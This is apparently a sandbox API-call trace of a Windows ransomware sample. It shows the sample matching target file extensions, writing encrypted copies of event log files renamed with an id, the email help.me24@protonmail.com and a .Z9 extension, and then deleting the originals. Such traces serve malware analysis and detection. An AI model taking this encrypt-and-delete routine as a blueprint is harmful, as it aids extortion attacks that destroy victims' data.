	[0078.276] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString=".bz2") returned 4
	[0078.276] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString=".7z") returned 3
	[0078.276] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0078.276] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.276] lstrlenW (lpString=".dbf") returned 4
	[0078.276] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.276] lstrlenW (lpString=".1cd") returned 4
	[0078.276] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.276] lstrlenW (lpString=".jpg") returned 4
	[0078.276] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0078.277] lstrcmpiW (lpString1=".sys", lpString2=".Z9") returned -1
	[0078.277] lstrlenW (lpString="hiberfil.sys") returned 12
	[0078.277] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.277] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.277] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.277] lstrlenW (lpString=".doc") returned 4
	[0078.277] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0078.277] lstrlenW (lpString=".docx") returned 5
	[0078.277] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0078.277] lstrlenW (lpString=".pdf") returned 4
	[0078.277] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0078.277] lstrlenW (lpString=".xls") returned 4
	[0078.277] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0078.277] lstrlenW (lpString=".xlsx") returned 5
	[0078.277] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0078.277] lstrlenW (lpString=".ppt") returned 4
	[0078.277] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0078.277] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.277] lstrlenW (lpString=".zip") returned 4
	[0078.277] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0078.277] lstrlenW (lpString=".rar") returned 4
	[0078.277] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0078.277] lstrlenW (lpString=".bz2") returned 4
	[0078.277] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0078.277] lstrlenW (lpString=".7z") returned 3
	[0078.277] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0078.277] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.277] lstrlenW (lpString=".dbf") returned 4
	[0078.277] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0078.277] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.277] lstrlenW (lpString=".1cd") returned 4
	[0078.278] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.278] lstrlenW (lpString=".jpg") returned 4
	[0078.278] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.278] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.278] lstrlenW (lpString=".doc") returned 4
	[0078.278] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString=".docx") returned 5
	[0078.278] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0078.278] lstrlenW (lpString=".pdf") returned 4
	[0078.278] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString=".xls") returned 4
	[0078.278] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0078.278] lstrlenW (lpString=".xlsx") returned 5
	[0078.278] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0078.278] lstrlenW (lpString=".ppt") returned 4
	[0078.278] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.278] lstrlenW (lpString=".zip") returned 4
	[0078.278] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0078.278] lstrlenW (lpString=".rar") returned 4
	[0078.278] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString=".bz2") returned 4
	[0078.278] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString=".7z") returned 3
	[0078.278] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0078.278] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.278] lstrlenW (lpString=".dbf") returned 4
	[0078.278] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0078.278] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.279] lstrlenW (lpString=".1cd") returned 4
	[0078.279] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0078.279] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0078.279] lstrlenW (lpString=".jpg") returned 4
	[0078.279] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0078.279] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.279] lstrlenW (lpString="Application.evtx") returned 16
	[0078.279] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.281] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0078.281] CloseHandle (hObject=0x354) returned 1
	[0078.281] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20
	[0078.281] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\application.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.281] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.282] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.282] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.282] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\application.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.282] GetLastError () returned 0x0
	[0078.282] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.284] WriteFile (in: hFile=0x324, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.286] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.286] WriteFile (in: hFile=0x324, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0078.286] SetEndOfFile (hFile=0x324) returned 1
	[0078.287] CloseHandle (hObject=0x324) returned 1
	[0078.289] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.289] SetEndOfFile (hFile=0x354) returned 1
	[0078.290] CloseHandle (hObject=0x354) returned 1
	[0078.290] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.290] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1
	[0078.290] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.290] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.290] lstrlenW (lpString=".doc") returned 4
	[0078.290] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.290] lstrlenW (lpString=".docx") returned 5
	[0078.290] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.291] lstrlenW (lpString=".pdf") returned 4
	[0078.291] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString=".xls") returned 4
	[0078.291] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString=".xlsx") returned 5
	[0078.291] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.291] lstrlenW (lpString=".ppt") returned 4
	[0078.291] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.291] lstrlenW (lpString=".zip") returned 4
	[0078.291] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString=".rar") returned 4
	[0078.291] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString=".bz2") returned 4
	[0078.291] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString=".7z") returned 3
	[0078.291] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.291] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.291] lstrlenW (lpString=".dbf") returned 4
	[0078.291] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.291] lstrlenW (lpString=".1cd") returned 4
	[0078.291] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.291] lstrlenW (lpString=".jpg") returned 4
	[0078.291] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.291] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.291] lstrlenW (lpString=".doc") returned 4
	[0078.291] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString=".docx") returned 5
	[0078.291] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.291] lstrlenW (lpString=".pdf") returned 4
	[0078.291] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.291] lstrlenW (lpString=".xls") returned 4
	[0078.292] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.292] lstrlenW (lpString=".xlsx") returned 5
	[0078.292] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.292] lstrlenW (lpString=".ppt") returned 4
	[0078.292] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.292] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.292] lstrlenW (lpString=".zip") returned 4
	[0078.292] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.292] lstrlenW (lpString=".rar") returned 4
	[0078.292] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.292] lstrlenW (lpString=".bz2") returned 4
	[0078.292] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.292] lstrlenW (lpString=".7z") returned 3
	[0078.292] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.292] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.292] lstrlenW (lpString=".dbf") returned 4
	[0078.292] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.292] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.292] lstrlenW (lpString=".1cd") returned 4
	[0078.292] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.292] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0078.292] lstrlenW (lpString=".jpg") returned 4
	[0078.292] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.292] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.292] lstrlenW (lpString="Internet Explorer.evtx") returned 22
	[0078.292] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.293] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0078.293] CloseHandle (hObject=0x354) returned 1
	[0078.294] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20
	[0078.294] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.294] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.294] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.294] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.294] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0078.295] GetLastError () returned 0x0
	[0078.295] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.299] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.300] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.300] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x100, lpOverlapped=0x0) returned 1
	[0078.301] SetEndOfFile (hFile=0x394) returned 1
	[0078.301] CloseHandle (hObject=0x394) returned 1
	[0078.305] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.305] SetEndOfFile (hFile=0x354) returned 1
	[0078.306] CloseHandle (hObject=0x354) returned 1
	[0078.306] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.306] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1
	[0078.306] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.306] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.306] lstrlenW (lpString=".doc") returned 4
	[0078.307] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString=".docx") returned 5
	[0078.307] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.307] lstrlenW (lpString=".pdf") returned 4
	[0078.307] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString=".xls") returned 4
	[0078.307] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString=".xlsx") returned 5
	[0078.307] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.307] lstrlenW (lpString=".ppt") returned 4
	[0078.307] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.307] lstrlenW (lpString=".zip") returned 4
	[0078.307] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString=".rar") returned 4
	[0078.307] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString=".bz2") returned 4
	[0078.307] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString=".7z") returned 3
	[0078.307] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.307] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.307] lstrlenW (lpString=".dbf") returned 4
	[0078.307] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.307] lstrlenW (lpString=".1cd") returned 4
	[0078.307] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.307] lstrlenW (lpString=".jpg") returned 4
	[0078.307] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.307] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.307] lstrlenW (lpString=".doc") returned 4
	[0078.307] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.307] lstrlenW (lpString=".docx") returned 5
	[0078.308] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.308] lstrlenW (lpString=".pdf") returned 4
	[0078.308] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString=".xls") returned 4
	[0078.308] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString=".xlsx") returned 5
	[0078.308] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.308] lstrlenW (lpString=".ppt") returned 4
	[0078.308] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.308] lstrlenW (lpString=".zip") returned 4
	[0078.308] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString=".rar") returned 4
	[0078.308] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString=".bz2") returned 4
	[0078.308] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString=".7z") returned 3
	[0078.308] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.308] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.308] lstrlenW (lpString=".dbf") returned 4
	[0078.308] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.308] lstrlenW (lpString=".1cd") returned 4
	[0078.308] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.308] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0078.308] lstrlenW (lpString=".jpg") returned 4
	[0078.308] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.308] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.308] lstrlenW (lpString="Key Management Service.evtx") returned 27
	[0078.308] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.309] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0078.309] CloseHandle (hObject=0x354) returned 1
	[0078.309] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20
	[0078.309] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.309] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.309] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.309] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.309] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0078.309] GetLastError () returned 0x0
	[0078.309] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.438] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.440] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.440] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0078.440] SetEndOfFile (hFile=0x394) returned 1
	[0078.908] CloseHandle (hObject=0x394) returned 1
	[0078.939] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.940] SetEndOfFile (hFile=0x354) returned 1
	[0078.941] CloseHandle (hObject=0x354) returned 1
	[0078.942] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.942] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1
	[0078.942] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.942] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.942] lstrlenW (lpString=".doc") returned 4
	[0078.942] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.942] lstrlenW (lpString=".docx") returned 5
	[0078.942] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.942] lstrlenW (lpString=".pdf") returned 4
	[0078.942] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.942] lstrlenW (lpString=".xls") returned 4
	[0078.942] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.942] lstrlenW (lpString=".xlsx") returned 5
	[0078.942] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.942] lstrlenW (lpString=".ppt") returned 4
	[0078.942] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.942] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.942] lstrlenW (lpString=".zip") returned 4
	[0078.943] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString=".rar") returned 4
	[0078.943] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString=".bz2") returned 4
	[0078.943] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString=".7z") returned 3
	[0078.943] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.943] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.943] lstrlenW (lpString=".dbf") returned 4
	[0078.943] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.943] lstrlenW (lpString=".1cd") returned 4
	[0078.943] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.943] lstrlenW (lpString=".jpg") returned 4
	[0078.943] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.943] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.943] lstrlenW (lpString=".doc") returned 4
	[0078.943] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString=".docx") returned 5
	[0078.943] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.943] lstrlenW (lpString=".pdf") returned 4
	[0078.943] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString=".xls") returned 4
